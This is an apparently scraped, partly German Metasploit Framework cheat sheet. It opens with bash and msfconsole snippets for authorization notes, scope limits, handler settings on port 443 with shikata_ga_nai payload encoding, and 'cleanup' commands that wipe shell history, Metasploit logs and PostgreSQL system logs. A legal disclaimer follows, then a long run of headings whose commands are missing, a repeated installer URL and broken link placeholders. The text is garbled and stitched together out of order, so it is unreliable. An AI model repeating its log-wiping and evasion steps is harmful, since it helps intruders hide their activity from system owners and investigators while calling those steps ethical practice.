Rechtliche und ethische Überlegungen¶

```bash

Document authorization¶

echo "Authorized penetration test - $(date)" > /tmp/authorization.txt echo "Scope: 192.168.1.0/24" >> /tmp/authorization.txt echo "Contact: security@company.com" >> /tmp/authorization.txt

Limit scope¶

set RHOSTS 192.168.1.100-110 # Only authorized targets set ExitOnSession true # Limit session creation

Avoid destructive actions¶

set DisablePayloadHandler true set PrependMigrate false ```_

Datenschutz¶

```bash

Encrypt database¶

msfdb stop sudo -u postgres pg_dump msf > /tmp/msf_backup.sql gpg -c /tmp/msf_backup.sql rm /tmp/msf_backup.sql

Secure communications¶

set LHOST 192.168.1.50 set LPORT 443 set EnableStageEncoding true set StageEncoder x86/shikata_ga_nai

Clean up logs¶

history -c rm ~/.msf4/logs/* sudo rm /var/log/postgresql/* ```_

--

** Sicherheitshinweis**: Metasploit Framework ist ein leistungsstarkes Penetrationstest-Tool, das nur auf Systemen verwendet werden sollte, die Sie besitzen oder eine ausdrückliche schriftliche Berechtigung zum Testen haben. Unbefugte Nutzung dieses Tools gegen Systeme, die Sie nicht besitzen, ist illegal und unethisch. Stellen Sie immer sicher, dass Sie eine ordnungsgemäße Genehmigung haben, bevor Sie Sicherheitstests durchführen. Dieses Cheatsheet ist nur für Bildungszwecke und berechtigte Sicherheitsprüfungen vorgesehen. Die Nutzer sind für die Einhaltung aller geltenden Gesetze und Vorschriften in ihrer Zuständigkeit verantwortlich.

📚 Zusätzliche Ressourcen: - offizielle Metasploitdokumentation - [Metasploit Unleashed Course](LINK_4_ - [Rapid7 Community](LINK_4__ - Metasploit GitHub Repository

Metasploit Framework Cheat Sheet¶

Überblick¶

Installation¶

Kali Linux Installation¶

Update Metasploit on Kali Linux¶

Initialize the database¶

Start PostgreSQL service¶

Verify installation¶

Ubuntu/Debian Installation¶

Add Rapid7 repository¶

Alternative: Manual installation¶

Add Rapid7 GPG key¶

Add repository¶

Install Metasploit¶

Initialize database¶

CentOS/RHEL Installation¶

Install dependencies¶

Download and run installer¶

Initialize database¶

Start PostgreSQL¶

Docker Installation¶

Pull official Metasploit image¶

Run Metasploit in Docker¶

Run with database persistence¶

Create alias for easy access¶

Windows Installation¶

Download installer from official website¶

https://windows.metasploit.com/metasploitframework-latest.msi¶

Install using PowerShell (requires admin privileges)¶

Verify installation¶

Initialize database (requires PostgreSQL)¶

macOS Installation¶

Install using Homebrew¶

Alternative: Download installer¶

Initialize database¶

Start PostgreSQL¶

Basisnutzung¶

Metasploit starten Anmerkung¶

Start msfconsole¶

Start with specific database¶

Start with custom resource script¶

Start in quiet mode¶

Start with specific workspace¶

Datenbankverwaltung¶

Initialize database¶

Check database status¶

Start database¶

Stop database¶

Restart database¶

Delete database¶

Reinitialize database¶

Grundlegende Konsolenbefehle¶

Get help¶

Show version information¶

Exit console¶

Clear screen¶

Show banner¶

Load resource script¶

Save command history¶

Load command history¶

Kernkommandos¶

Suche und Information¶

Search for exploits¶

Search for payloads¶

Search for auxiliary modules¶

Search for post-exploitation modules¶

Show module information¶

Show module options¶

Show available exploits¶

Show available payloads¶

Show auxiliary modules¶

Show post-exploitation modules¶

Show encoders¶

Show nops¶

Modulauswahl und Konfiguration¶

Use a module¶

Set module options¶

Set global options¶

Unset options¶

Unset global options¶

https://windows.metasploit.com/metasploitframework-latest.msi ¶